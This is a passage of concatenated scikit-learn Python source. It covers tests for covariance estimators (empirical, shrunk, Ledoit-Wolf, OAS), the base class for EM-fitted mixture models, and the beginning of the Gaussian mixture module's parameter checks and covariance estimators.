    # test covariance fit from data
    cov = EmpiricalCovariance()
    cov.fit(X)
    emp_cov = empirical_covariance(X)
    assert_array_almost_equal(emp_cov, cov.covariance_, 4)
    assert_almost_equal(cov.error_norm(emp_cov), 0)
    assert_almost_equal(
        cov.error_norm(emp_cov, norm='spectral'), 0)
    assert_almost_equal(
        cov.error_norm(emp_cov, norm='frobenius'), 0)
    assert_almost_equal(
        cov.error_norm(emp_cov, scaling=False), 0)
    assert_almost_equal(
        cov.error_norm(emp_cov, squared=False), 0)
    assert_raises(NotImplementedError,
                  cov.error_norm, emp_cov, norm='foo')
    # Mahalanobis distances computation test
    mahal_dist = cov.mahalanobis(X)
    assert_greater(np.amin(mahal_dist), 0)

    # test with n_features = 1
    X_1d = X[:, 0].reshape((-1, 1))
    cov = EmpiricalCovariance()
    cov.fit(X_1d)
    assert_array_almost_equal(empirical_covariance(X_1d), cov.covariance_, 4)
    assert_almost_equal(cov.error_norm(empirical_covariance(X_1d)), 0)
    assert_almost_equal(
        cov.error_norm(empirical_covariance(X_1d), norm='spectral'), 0)

    # test with one sample
    # Create X with 1 sample and 5 features
    X_1sample = np.arange(5).reshape(1, 5)
    cov = EmpiricalCovariance()
    assert_warns(UserWarning, cov.fit, X_1sample)
    assert_array_almost_equal(cov.covariance_,
                              np.zeros(shape=(5, 5), dtype=np.float64))

    # test integer type
    X_integer = np.asarray([[0, 1], [1, 0]])
    result = np.asarray([[0.25, -0.25], [-0.25, 0.25]])
    assert_array_almost_equal(empirical_covariance(X_integer), result)

    # test centered case
    cov = EmpiricalCovariance(assume_centered=True)
    cov.fit(X)
    assert_array_equal(cov.location_, np.zeros(X.shape[1]))


def test_shrunk_covariance():
    # Tests ShrunkCovariance module on a simple dataset.
    # compare shrunk covariance obtained from data and from MLE estimate
    cov = ShrunkCovariance(shrinkage=0.5)
    cov.fit(X)
    assert_array_almost_equal(
        shrunk_covariance(empirical_covariance(X), shrinkage=0.5),
        cov.covariance_, 4)

    # same test with shrinkage not provided
    cov = ShrunkCovariance()
    cov.fit(X)
    assert_array_almost_equal(
        shrunk_covariance(empirical_covariance(X)), cov.covariance_, 4)

    # same test with shrinkage = 0 (<==> empirical_covariance)
    cov = ShrunkCovariance(shrinkage=0.)
    cov.fit(X)
    assert_array_almost_equal(empirical_covariance(X), cov.covariance_, 4)

    # test with n_features = 1
    X_1d = X[:, 0].reshape((-1, 1))
    cov = ShrunkCovariance(shrinkage=0.3)
    cov.fit(X_1d)
    assert_array_almost_equal(empirical_covariance(X_1d), cov.covariance_, 4)

    # test shrinkage coeff on a simple data set (without saving precision)
    cov = ShrunkCovariance(shrinkage=0.5, store_precision=False)
    cov.fit(X)
    assert(cov.precision_ is None)


def test_ledoit_wolf():
    # Tests LedoitWolf module on a simple dataset.
    # test shrinkage coeff on a simple data set
    X_centered = X - X.mean(axis=0)
    lw = LedoitWolf(assume_centered=True)
    lw.fit(X_centered)
    shrinkage_ = lw.shrinkage_

    score_ = lw.score(X_centered)
    assert_almost_equal(ledoit_wolf_shrinkage(X_centered,
                                              assume_centered=True),
                        shrinkage_)
    assert_almost_equal(ledoit_wolf_shrinkage(X_centered, assume_centered=True,
                                              block_size=6),
                        shrinkage_)
    # compare shrunk covariance obtained from data and from MLE estimate
    lw_cov_from_mle, lw_shinkrage_from_mle = ledoit_wolf(X_centered,
                                                         assume_centered=True)
    assert_array_almost_equal(lw_cov_from_mle, lw.covariance_, 4)
    assert_almost_equal(lw_shinkrage_from_mle, lw.shrinkage_)
    # compare estimates given by LW and ShrunkCovariance
    scov = ShrunkCovariance(shrinkage=lw.shrinkage_, assume_centered=True)
    scov.fit(X_centered)
    assert_array_almost_equal(scov.covariance_, lw.covariance_, 4)

    # test with n_features = 1
    X_1d = X[:, 0].reshape((-1, 1))
    lw = LedoitWolf(assume_centered=True)
    lw.fit(X_1d)
    lw_cov_from_mle, lw_shinkrage_from_mle = ledoit_wolf(X_1d,
                                                         assume_centered=True)
    assert_array_almost_equal(lw_cov_from_mle, lw.covariance_, 4)
    assert_almost_equal(lw_shinkrage_from_mle, lw.shrinkage_)
    assert_array_almost_equal((X_1d ** 2).sum() / n_samples, lw.covariance_, 4)

    # test shrinkage coeff on a simple data set (without saving precision)
    lw = LedoitWolf(store_precision=False, assume_centered=True)
    lw.fit(X_centered)
    assert_almost_equal(lw.score(X_centered), score_, 4)
    assert(lw.precision_ is None)

    # Same tests without assuming centered data
    # test shrinkage coeff on a simple data set
    lw = LedoitWolf()
    lw.fit(X)
    assert_almost_equal(lw.shrinkage_, shrinkage_, 4)
    assert_almost_equal(lw.shrinkage_, ledoit_wolf_shrinkage(X))
    assert_almost_equal(lw.shrinkage_, ledoit_wolf(X)[1])
    assert_almost_equal(lw.score(X), score_, 4)
    # compare shrunk covariance obtained from data and from MLE estimate
    lw_cov_from_mle, lw_shinkrage_from_mle = ledoit_wolf(X)
    assert_array_almost_equal(lw_cov_from_mle, lw.covariance_, 4)
    assert_almost_equal(lw_shinkrage_from_mle, lw.shrinkage_)
    # compare estimates given by LW and ShrunkCovariance
    scov = ShrunkCovariance(shrinkage=lw.shrinkage_)
    scov.fit(X)
    assert_array_almost_equal(scov.covariance_, lw.covariance_, 4)

    # test with n_features = 1
    X_1d = X[:, 0].reshape((-1, 1))
    lw = LedoitWolf()
    lw.fit(X_1d)
    lw_cov_from_mle, lw_shinkrage_from_mle = ledoit_wolf(X_1d)
    assert_array_almost_equal(lw_cov_from_mle, lw.covariance_, 4)
    assert_almost_equal(lw_shinkrage_from_mle, lw.shrinkage_)
    assert_array_almost_equal(empirical_covariance(X_1d), lw.covariance_, 4)

    # test with one sample
    # warning should be raised when using only 1 sample
    X_1sample = np.arange(5).reshape(1, 5)
    lw = LedoitWolf()
    assert_warns(UserWarning, lw.fit, X_1sample)
    assert_array_almost_equal(lw.covariance_,
                              np.zeros(shape=(5, 5), dtype=np.float64))

    # test shrinkage coeff on a simple data set (without saving precision)
    lw = LedoitWolf(store_precision=False)
    lw.fit(X)
    assert_almost_equal(lw.score(X), score_, 4)
    assert(lw.precision_ is None)


def _naive_ledoit_wolf_shrinkage(X):
    # A simple implementation of the formulas from Ledoit & Wolf

    # The computation below achieves the following computations of the
    # "O. Ledoit and M. Wolf, A Well-Conditioned Estimator for
    # Large-Dimensional Covariance Matrices"
    # beta and delta are given in the beginning of section 3.2
    n_samples, n_features = X.shape
    emp_cov = empirical_covariance(X, assume_centered=False)
    mu = np.trace(emp_cov) / n_features
    delta_ = emp_cov.copy()
    delta_.flat[::n_features + 1] -= mu
    delta = (delta_ ** 2).sum() / n_features
    X2 = X ** 2
    beta_ = 1. / (n_features * n_samples) \
        * np.sum(np.dot(X2.T, X2) / n_samples - emp_cov ** 2)

    beta = min(beta_, delta)
    shrinkage = beta / delta
    return shrinkage


def test_ledoit_wolf_small():
    # Compare our blocked implementation to the naive implementation
    X_small = X[:, :4]
    lw = LedoitWolf()
    lw.fit(X_small)
    shrinkage_ = lw.shrinkage_

    assert_almost_equal(shrinkage_, _naive_ledoit_wolf_shrinkage(X_small))


def test_ledoit_wolf_large():
    # test that ledoit_wolf doesn't error on data that is wider than block_size
    rng = np.random.RandomState(0)
    # use a number of features that is larger than the block-size
    X = rng.normal(size=(10, 20))
    lw = LedoitWolf(block_size=10).fit(X)
    # check that covariance is about diagonal (random normal noise)
    assert_almost_equal(lw.covariance_, np.eye(20), 0)
    cov = lw.covariance_

    # check that the result is consistent with not splitting data into blocks.
    lw = LedoitWolf(block_size=25).fit(X)
    assert_almost_equal(lw.covariance_, cov)


def test_oas():
    # Tests OAS module on a simple dataset.
    # test shrinkage coeff on a simple data set
    X_centered = X - X.mean(axis=0)
    oa = OAS(assume_centered=True)
    oa.fit(X_centered)
    shrinkage_ = oa.shrinkage_
    score_ = oa.score(X_centered)
    # compare shrunk covariance obtained from data and from MLE estimate
    oa_cov_from_mle, oa_shinkrage_from_mle = oas(X_centered,
                                                 assume_centered=True)
    assert_array_almost_equal(oa_cov_from_mle, oa.covariance_, 4)
    assert_almost_equal(oa_shinkrage_from_mle, oa.shrinkage_)
    # compare estimates given by OAS and ShrunkCovariance
    scov = ShrunkCovariance(shrinkage=oa.shrinkage_, assume_centered=True)
    scov.fit(X_centered)
    assert_array_almost_equal(scov.covariance_, oa.covariance_, 4)

    # test with n_features = 1
    X_1d = X[:, 0:1]
    oa = OAS(assume_centered=True)
    oa.fit(X_1d)
    oa_cov_from_mle, oa_shinkrage_from_mle = oas(X_1d, assume_centered=True)
    assert_array_almost_equal(oa_cov_from_mle, oa.covariance_, 4)
    assert_almost_equal(oa_shinkrage_from_mle, oa.shrinkage_)
    assert_array_almost_equal((X_1d ** 2).sum() / n_samples, oa.covariance_, 4)

    # test shrinkage coeff on a simple data set (without saving precision)
    oa = OAS(store_precision=False, assume_centered=True)
    oa.fit(X_centered)
    assert_almost_equal(oa.score(X_centered), score_, 4)
    assert(oa.precision_ is None)

    # Same tests without assuming centered data--------------------------------
    # test shrinkage coeff on a simple data set
    oa = OAS()
    oa.fit(X)
    assert_almost_equal(oa.shrinkage_, shrinkage_, 4)
    assert_almost_equal(oa.score(X), score_, 4)
    # compare shrunk covariance obtained from data and from MLE estimate
    oa_cov_from_mle, oa_shinkrage_from_mle = oas(X)
    assert_array_almost_equal(oa_cov_from_mle, oa.covariance_, 4)
    assert_almost_equal(oa_shinkrage_from_mle, oa.shrinkage_)
    # compare estimates given by OAS and ShrunkCovariance
    scov = ShrunkCovariance(shrinkage=oa.shrinkage_)
    scov.fit(X)
    assert_array_almost_equal(scov.covariance_, oa.covariance_, 4)

    # test with n_features = 1
    X_1d = X[:, 0].reshape((-1, 1))
    oa = OAS()
    oa.fit(X_1d)
    oa_cov_from_mle, oa_shinkrage_from_mle = oas(X_1d)
    assert_array_almost_equal(oa_cov_from_mle, oa.covariance_, 4)
    assert_almost_equal(oa_shinkrage_from_mle, oa.shrinkage_)
    assert_array_almost_equal(empirical_covariance(X_1d), oa.covariance_, 4)

    # test with one sample
    # warning should be raised when using only 1 sample
    X_1sample = np.arange(5).reshape(1, 5)
    oa = OAS()
    assert_warns(UserWarning, oa.fit, X_1sample)
    assert_array_almost_equal(oa.covariance_,
                              np.zeros(shape=(5, 5), dtype=np.float64))

    # test shrinkage coeff on a simple data set (without saving precision)
    oa = OAS(store_precision=False)
    oa.fit(X)
    assert_almost_equal(oa.score(X), score_, 4)
    assert(oa.precision_ is None)






"""Base class for mixture models."""

# Author: Wei Xue <xuewei4d@gmail.com>
# Modified by Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clause

from __future__ import print_function

import warnings
from abc import ABCMeta, abstractmethod
from time import time

import numpy as np

from .. import cluster
from ..base import BaseEstimator
from ..base import DensityMixin
from ..externals import six
from ..exceptions import ConvergenceWarning
from ..utils import check_array, check_random_state
from ..utils.extmath import logsumexp


def _check_shape(param, param_shape, name):
    """Validate the shape of the input parameter 'param'.

    Parameters
    ----------
    param : array

    param_shape : tuple

    name : string
    """
    param = np.array(param)
    if param.shape != param_shape:
        raise ValueError("The parameter '%s' should have the shape of %s, "
                         "but got %s" % (name, param_shape, param.shape))


def _check_X(X, n_components=None, n_features=None):
    """Check the input data X.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)

    n_components : int

    Returns
    -------
    X : array, shape (n_samples, n_features)
    """
    X = check_array(X, dtype=[np.float64, np.float32])
    if n_components is not None and X.shape[0] < n_components:
        raise ValueError('Expected n_samples >= n_components '
                         'but got n_components = %d, n_samples = %d'
                         % (n_components, X.shape[0]))
    if n_features is not None and X.shape[1] != n_features:
        raise ValueError("Expected the input data X have %d features, "
                         "but got %d features"
                         % (n_features, X.shape[1]))
    return X


class BaseMixture(six.with_metaclass(ABCMeta, DensityMixin, BaseEstimator)):
    """Base class for mixture models.

    This abstract class specifies an interface for all mixture classes and
    provides basic common methods for mixture models.
    """

    def __init__(self, n_components, tol, reg_covar,
                 max_iter, n_init, init_params, random_state, warm_start,
                 verbose, verbose_interval):
        self.n_components = n_components
        self.tol = tol
        self.reg_covar = reg_covar
        self.max_iter = max_iter
        self.n_init = n_init
        self.init_params = init_params
        self.random_state = random_state
        self.warm_start = warm_start
        self.verbose = verbose
        self.verbose_interval = verbose_interval

    def _check_initial_parameters(self, X):
        """Check values of the basic parameters.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
        """
        if self.n_components < 1:
            raise ValueError("Invalid value for 'n_components': %d "
                             "Estimation requires at least one component"
                             % self.n_components)

        if self.tol < 0.:
            raise ValueError("Invalid value for 'tol': %.5f "
                             "Tolerance used by the EM must be non-negative"
                             % self.tol)

        if self.n_init < 1:
            raise ValueError("Invalid value for 'n_init': %d "
                             "Estimation requires at least one run"
                             % self.n_init)

        if self.max_iter < 1:
            raise ValueError("Invalid value for 'max_iter': %d "
                             "Estimation requires at least one iteration"
                             % self.max_iter)

        if self.reg_covar < 0.:
            raise ValueError("Invalid value for 'reg_covar': %.5f "
                             "regularization on covariance must be "
                             "non-negative"
                             % self.reg_covar)

        # Check all the parameters values of the derived class
        self._check_parameters(X)

    @abstractmethod
    def _check_parameters(self, X):
        """Check initial parameters of the derived class.

        Parameters
        ----------
        X : array-like, shape  (n_samples, n_features)
        """
        pass

    def _initialize_parameters(self, X):
        """Initialize the model parameters.

        Parameters
        ----------
        X : array-like, shape  (n_samples, n_features)
        """
        n_samples, _ = X.shape
        random_state = check_random_state(self.random_state)

        if self.init_params == 'kmeans':
            resp = np.zeros((n_samples, self.n_components))
            label = cluster.KMeans(n_clusters=self.n_components, n_init=1,
                                   random_state=random_state).fit(X).labels_
            resp[np.arange(n_samples), label] = 1
        elif self.init_params == 'random':
            resp = random_state.rand(n_samples, self.n_components)
            resp /= resp.sum(axis=1)[:, np.newaxis]
        else:
            raise ValueError("Unimplemented initialization method '%s'"
                             % self.init_params)

        self._initialize(X, resp)

    @abstractmethod
    def _initialize(self, X, resp):
        """Initialize the model parameters of the derived class.

        Parameters
        ----------
        X : array-like, shape  (n_samples, n_features)

        resp : array-like, shape (n_samples, n_components)
        """
        pass

    def fit(self, X, y=None):
        """Estimate model parameters with the EM algorithm.

        The method fit the model `n_init` times and set the parameters with
        which the model has the largest likelihood or lower bound. Within each
        trial, the method iterates between E-step and M-step for `max_iter`
        times until the change of likelihood or lower bound is less than
        `tol`, otherwise, a `ConvergenceWarning` is raised.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        self
        """
        X = _check_X(X, self.n_components)
        self._check_initial_parameters(X)

        # if we enable warm_start, we will have a unique initialisation
        do_init = not(self.warm_start and hasattr(self, 'converged_'))
        n_init = self.n_init if do_init else 1

        max_lower_bound = -np.infty
        self.converged_ = False

        n_samples, _ = X.shape
        for init in range(n_init):
            self._print_verbose_msg_init_beg(init)

            if do_init:
                self._initialize_parameters(X)
                self.lower_bound_ = -np.infty

            for n_iter in range(self.max_iter):
                prev_lower_bound = self.lower_bound_

                log_prob_norm, log_resp = self._e_step(X)
                self._m_step(X, log_resp)
                self.lower_bound_ = self._compute_lower_bound(
                    log_resp, log_prob_norm)

                change = self.lower_bound_ - prev_lower_bound
                self._print_verbose_msg_iter_end(n_iter, change)

                if abs(change) < self.tol:
                    self.converged_ = True
                    break

            self._print_verbose_msg_init_end(self.lower_bound_)

            if self.lower_bound_ > max_lower_bound:
                max_lower_bound = self.lower_bound_
                best_params = self._get_parameters()
                best_n_iter = n_iter

        if not self.converged_:
            warnings.warn('Initialization %d did not converged. '
                          'Try different init parameters, '
                          'or increase n_init, tol '
                          'or check for degenerate data.'
                          % (init + 1), ConvergenceWarning)

        self._set_parameters(best_params)
        self.n_iter_ = best_n_iter

        return self

    @abstractmethod
    def _e_step(self, X):
        """E step.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        log_prob_norm : array, shape (n_samples,)
            log p(X)

        log_responsibility : array, shape (n_samples, n_components)
            logarithm of the responsibilities
        """
        pass

    @abstractmethod
    def _m_step(self, X, log_resp):
        """M step.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        log_resp : array-like, shape (n_samples, n_components)
        """
        pass

    @abstractmethod
    def _check_is_fitted(self):
        pass

    @abstractmethod
    def _get_parameters(self):
        pass

    @abstractmethod
    def _set_parameters(self, params):
        pass

    def score_samples(self, X):
        """Compute the weighted log probabilities for each sample.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        log_prob : array, shape (n_samples,)
            Log probabilities of each data point in X.
        """
        self._check_is_fitted()
        X = _check_X(X, None, self.means_.shape[1])

        return logsumexp(self._estimate_weighted_log_prob(X), axis=1)

    def score(self, X, y=None):
        """Compute the per-sample average log-likelihood of the given data X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_dimensions)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        log_likelihood : float
            Log likelihood of the Gaussian mixture given X.
        """
        return self.score_samples(X).mean()

    def predict(self, X, y=None):
        """Predict the labels for the data samples in X using trained model.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        labels : array, shape (n_samples,)
            Component labels.
        """
        self._check_is_fitted()
        X = _check_X(X, None, self.means_.shape[1])
        return self._estimate_weighted_log_prob(X).argmax(axis=1)

    def predict_proba(self, X):
        """Predict posterior probability of data per each component.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            List of n_features-dimensional data points. Each row
            corresponds to a single data point.

        Returns
        -------
        resp : array, shape (n_samples, n_components)
            Returns the probability of the sample for each Gaussian
            (state) in the model.
        """
        self._check_is_fitted()
        X = _check_X(X, None, self.means_.shape[1])
        _, log_resp = self._estimate_log_prob_resp(X)
        return np.exp(log_resp)

    def _estimate_weighted_log_prob(self, X):
        """Estimate the weighted log-probabilities, log P(X | Z) + log weights.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        weighted_log_prob : array, shape (n_features, n_component)
        """
        return self._estimate_log_prob(X) + self._estimate_log_weights()

    @abstractmethod
    def _estimate_log_weights(self):
        """Estimate log-weights in EM algorithm, E[ log pi ] in VB algorithm.

        Returns
        -------
        log_weight : array, shape (n_components, )
        """
        pass

    @abstractmethod
    def _estimate_log_prob(self, X):
        """Estimate the log-probabilities log P(X | Z).

        Compute the log-probabilities per each component for each sample.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        log_prob : array, shape (n_samples, n_component)
        """
        pass

    def _estimate_log_prob_resp(self, X):
        """Estimate log probabilities and responsibilities for each sample.

        Compute the log probabilities, weighted log probabilities per
        component and responsibilities for each sample in X with respect to
        the current state of the model.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)

        Returns
        -------
        log_prob_norm : array, shape (n_samples,)
            log p(X)

        log_responsibilities : array, shape (n_samples, n_components)
            logarithm of the responsibilities
        """
        weighted_log_prob = self._estimate_weighted_log_prob(X)
        log_prob_norm = logsumexp(weighted_log_prob, axis=1)
        with np.errstate(under='ignore'):
            # ignore underflow
            log_resp = weighted_log_prob - log_prob_norm[:, np.newaxis]
        return log_prob_norm, log_resp

    def _print_verbose_msg_init_beg(self, n_init):
        """Print verbose message on initialization."""
        if self.verbose == 1:
            print("Initialization %d" % n_init)
        elif self.verbose >= 2:
            print("Initialization %d" % n_init)
            self._init_prev_time = time()
            self._iter_prev_time = self._init_prev_time

    def _print_verbose_msg_iter_end(self, n_iter, diff_ll):
        """Print verbose message on initialization."""
        if n_iter % self.verbose_interval == 0:
            if self.verbose == 1:
                print("  Iteration %d" % n_iter)
            elif self.verbose >= 2:
                cur_time = time()
                print("  Iteration %d\t time lapse %.5fs\t ll change %.5f" % (
                    n_iter, cur_time - self._iter_prev_time, diff_ll))
                self._iter_prev_time = cur_time

    def _print_verbose_msg_init_end(self, ll):
        """Print verbose message on the end of iteration."""
        if self.verbose == 1:
            print("Initialization converged: %s" % self.converged_)
        elif self.verbose >= 2:
            print("Initialization converged: %s\t time lapse %.5fs\t ll %.5f" %
                  (self.converged_, time() - self._init_prev_time, ll))






"""Gaussian Mixture Model."""

# Author: Wei Xue <xuewei4d@gmail.com>
# Modified by Thierry Guillemot <thierry.guillemot.work@gmail.com>
# License: BSD 3 clause

import numpy as np

from scipy import linalg

from .base import BaseMixture, _check_shape
from ..externals.six.moves import zip
from ..utils import check_array
from ..utils.validation import check_is_fitted
from ..utils.extmath import row_norms


###############################################################################
# Gaussian mixture shape checkers used by the GaussianMixture class

def _check_weights(weights, n_components):
    """Check the user provided 'weights'.

    Parameters
    ----------
    weights : array-like, shape (n_components,)
        The proportions of components of each mixture.

    n_components : int
        Number of components.

    Returns
    -------
    weights : array, shape (n_components,)
    """
    weights = check_array(weights, dtype=[np.float64, np.float32],
                          ensure_2d=False)
    _check_shape(weights, (n_components,), 'weights')

    # check range
    if (any(np.less(weights, 0.)) or
            any(np.greater(weights, 1.))):
        raise ValueError("The parameter 'weights' should be in the range "
                         "[0, 1], but got max value %.5f, min value %.5f"
                         % (np.min(weights), np.max(weights)))

    # check normalization
    if not np.allclose(np.abs(1. - np.sum(weights)), 0.):
        raise ValueError("The parameter 'weights' should be normalized, "
                         "but got sum(weights) = %.5f" % np.sum(weights))
    return weights


def _check_means(means, n_components, n_features):
    """Validate the provided 'means'.

    Parameters
    ----------
    means : array-like, shape (n_components, n_features)
        The centers of the current components.

    n_components : int
        Number of components.

    n_features : int
        Number of features.

    Returns
    -------
    means : array, (n_components, n_features)
    """
    means = check_array(means, dtype=[np.float64, np.float32], ensure_2d=False)
    _check_shape(means, (n_components, n_features), 'means')
    return means


def _check_precision_positivity(precision, covariance_type):
    """Check a precision vector is positive-definite."""
    if np.any(np.less_equal(precision, 0.0)):
        raise ValueError("'%s precision' should be "
                         "positive" % covariance_type)


def _check_precision_matrix(precision, covariance_type):
    """Check a precision matrix is symmetric and positive-definite."""
    if not (np.allclose(precision, precision.T) and
            np.all(linalg.eigvalsh(precision) > 0.)):
        raise ValueError("'%s precision' should be symmetric, "
                         "positive-definite" % covariance_type)


def _check_precisions_full(precisions, covariance_type):
    """Check the precision matrices are symmetric and positive-definite."""
    for k, prec in enumerate(precisions):
        prec = _check_precision_matrix(prec, covariance_type)


def _check_precisions(precisions, covariance_type, n_components, n_features):
    """Validate user provided precisions.

    Parameters
    ----------
    precisions : array-like,
        'full' : shape of (n_components, n_features, n_features)
        'tied' : shape of (n_features, n_features)
        'diag' : shape of (n_components, n_features)
        'spherical' : shape of (n_components,)

    covariance_type : string

    n_components : int
        Number of components.

    n_features : int
        Number of features.

    Returns
    -------
    precisions : array
    """
    precisions = check_array(precisions, dtype=[np.float64, np.float32],
                             ensure_2d=False,
                             allow_nd=covariance_type is 'full')

    precisions_shape = {'full': (n_components, n_features, n_features),
                        'tied': (n_features, n_features),
                        'diag': (n_components, n_features),
                        'spherical': (n_components,)}
    _check_shape(precisions, precisions_shape[covariance_type],
                 '%s precision' % covariance_type)

    _check_precisions = {'full': _check_precisions_full,
                         'tied': _check_precision_matrix,
                         'diag': _check_precision_positivity,
                         'spherical': _check_precision_positivity}
    _check_precisions[covariance_type](precisions, covariance_type)
    return precisions


###############################################################################
# Gaussian mixture parameters estimators (used by the M-Step)

def _estimate_gaussian_covariances_full(resp, X, nk, means, reg_covar):
    """Estimate the full covariance matrices.

    Parameters
    ----------
    resp : array-like, shape (n_samples, n_components)

    X : array-like, shape (n_samples, n_features)

    nk : array-like, shape (n_components,)

    means : array-like, shape (n_components, n_features)

    reg_covar : float

    Returns
    -------
    covariances : array, shape (n_components, n_features, n_features)
        The covariance matrix of the current components.
    """
    n_components, n_features = means.shape
    covariances = np.empty((n_components, n_features, n_features))
    for k in range(n_components):
        diff = X - means[k]
        covariances[k] = np.dot(resp[:, k] * diff.T, diff) / nk[k]
        covariances[k].flat[::n_features + 1] += reg_covar
    return covariances


def _estimate_gaussian_covariances_tied(resp, X, nk, means, reg_covar):
    """Estimate the tied covariance matrix.

    Parameters
    ----------
    resp : array-like, shape (n_samples, n_components)

    X : array-like, shape (n_samples, n_features)

    nk : array-like, shape (n_components,)

    means : array-like, shape (n_components, n_features)

    reg_covar : float

    Returns
    -------
    covariance : array, shape (n_features, n_features)
        The tied covariance matrix of the components.
    """
    n_samples, _ = X.shape
    avg_X2 = np.dot(X.T, X)
    avg_means2 = np.dot(nk * means.T, means)
    covariance = avg_X2 - avg_means2
    covariance /= n_samples
    covariance.flat[::len(covariance) + 1] += reg_covar
    return covariance


def _estimate_gaussian_covariances_diag(resp, X, nk, means, reg_covar):
    """Estimate the diagonal covariance vectors.

    Parameters
    ----------
    responsibilities : array-like, shape (n_samples, n_components)

    X : array-like, shape (n_samples, n_features)

    nk : array-like, shape (n_components,)

    means : array-like, shape (n_components, n_features)

    reg_covar : float

    Returns
    -------
    covariances : array, shape (n_components, n_features)
        The covariance vector of the current components.
    """
    avg_X2 = np.dot(resp.T, X * X) / nk[:, np.newaxis]
    avg_means2 = means ** 2
    avg_X_means = means * np.dot(resp.T, X) / nk[:, np.newaxis]
    return avg_X2 - 2 * avg_X_means + avg_means2 + reg_covar


def _estimate_gaussian_covariances_spherical(resp, X, nk, means, reg_covar):
    """Estimate the spherical variance values.

    Parameters
    ----------
    responsibilities : array-like, shape (n_samples, n_components)

    X : array-like, shape (n_samples, n_features)

    nk : array-like, shape (n_components,)

    means : array-like, shape (n_components, n_features)

    reg_covar : float

    Returns
    -------
    variances : array, shape (n_components,)
        The variance values of each components.
    """
    return _estimate_gaussian_covariances_diag(resp, X, nk,
                                               means, reg_covar).mean(1)


def _estimate_gaussian_parameters(X, resp, reg_covar, covariance_type):
    """Estimate the Gaussian distribution parameters.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)
        The input data array.

    resp : array-like, shape (n_samples, n_features)
        The responsibilities for each data sample in X.

    reg_covar : float
        The regularization added to the diagonal of the covariance matrices.

    covariance_type : {'full', 'tied', 'diag', 'spherical'}
        The type of precision matrices.

    Returns
    -------
    nk : array-like, shape (n_components,)
        The numbers of data samples in the current components.

    means : array-like, shape (n_components, n_features)
        The centers of the current components.

    covariances : array-like
        The covariance matrix of the current components.
        The shape depends of the covariance_type.
    """
    nk = resp.sum(axis=0) + 10 * np.finfo(resp.dtype).eps
    means = np.dot(resp.T, X) / nk[:, np.newaxis]
    covariances = {"full": _estimate_gaussian_covariances_full,
                   "tied": _estimate_gaussian_covariances_tied,
                   "diag": _estimate_gaussian_covariances_diag,
                   "spherical": _estimate_gaussian_covariances_spherical
                   }[covariance_type](resp, X, nk, means, reg_covar)
    return nk, means, covariances


def _compute_precision_cholesky(covariances, covariance_type):
    """Compute the Cholesky decomposition of the precisions.

    Parameters
    ----------
    covariances : array-like
        The covariance matrix of the current components.
        The shape depends of the covariance_type.

    covariance_type : {'full', 'tied', 'diag', 'spherical'}
        The type of precision matrices.

    Returns
    -------
    precisions_cholesky : array-like
        The cholesky decomposition of sample precisions of the current
        components. The shape depends of the covariance_type.
    """
    estimate_precision_error_message = (
        "The algorithm has diverged because of too few samples per "
        "components. Try to decrease the number of components, "
        "or increase reg_covar.")

    if covariance_type in 'full':
        n_components, n_features, _ = covariances.shape
        precisions_chol = np.empty((n_components, n_features, n_features))
        for k, covariance in enumerate(covariances):
            try:
                cov_chol = linalg.cholesky(covariance, lower=True)
            except linalg.LinAlgError:
                raise ValueError(estimate_precision_error_message)
            precisions_chol[k] = linalg.solve_triangular(cov_chol,
                                                         np.eye(n_features),
                                                         lower=True).T
    elif covariance_type is 'tied':
        _, n_features = covariances.shape
        try:
            cov_chol = linalg.cholesky(covariances, lower=True)
        except linalg.LinAlgError:
            raise ValueError(estimate_precision_error_message)
        precisions_chol = linalg.solve_triangular(cov_chol, np.eye(n_features),
                                                  lower=True).T
    else:
        if np.any(np.less_equal(covariances, 0.0)):
            raise ValueError(estimate_precision_error_message)
        precisions_chol = 1. / np.sqrt(covariances)
    return precisions_chol


###############################################################################
# Gaussian mixture probability estimators
def _compute_log_det_cholesky(matrix_chol, covariance_type, n_features):
    """Compute the log-det of the cholesky decomposition of matrices.

    Parameters
    ----------
    matrix_chol : array-like,
        Cholesky decompositions of the matrices.
        'full' : shape of (n_components, n_features, n_features)
        'tied' : shape of (n_features, n_features)
        'diag' : shape of (n_components, n_features)
        'spherical' : shape of (n_components,)

    covariance_type : {'full', 'tied', 'diag', 'spherical'}

    n_features : int
        Number of features.

    Returns
    -------
    log_det_precision_chol : array-like, shape (n_components,)
        The determinant of the cholesky decomposition.
        matrix.
    """
    if covariance_type == 'full':
        n_components, _, _ = matrix_chol.shape
        log_det_chol = (np.sum(np.log(
            matrix_chol.reshape(
                n_components, -1)[:, ::n_features + 1]), 1))

    elif covariance_type == 'tied':
        log_det_chol = (np.sum(np.log(np.diag(matrix_chol))))

    elif covariance_type == 'diag':
        log_det_chol = (np.sum(np.log(matrix_chol), axis=1))

    else:
        log_det_chol = n_features * (np.log(matrix_chol))

    return log_det_chol


def _estimate_log_gaussian_prob(X, means, precisions_chol, covariance_type):
    """Estimate the log Gaussian probability.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)

    means : array-like, shape (n_components, n_features)

    precisions_chol : array-like,
        Cholesky decompositions of the precision matrices.
        'full' : shape of (n_components, n_features, n_features)
        'tied' : shape of (n_features, n_features)
        'diag' : shape of (n_components, n_features)
        'spherical' : shape of (n_components,)

    covariance_type : {'full', 'tied', 'diag', 'spherical'}

    Returns
    -------
    log_prob : array, shape (n_samples, n_components)
    """
    n_samples, n_features = X.shape
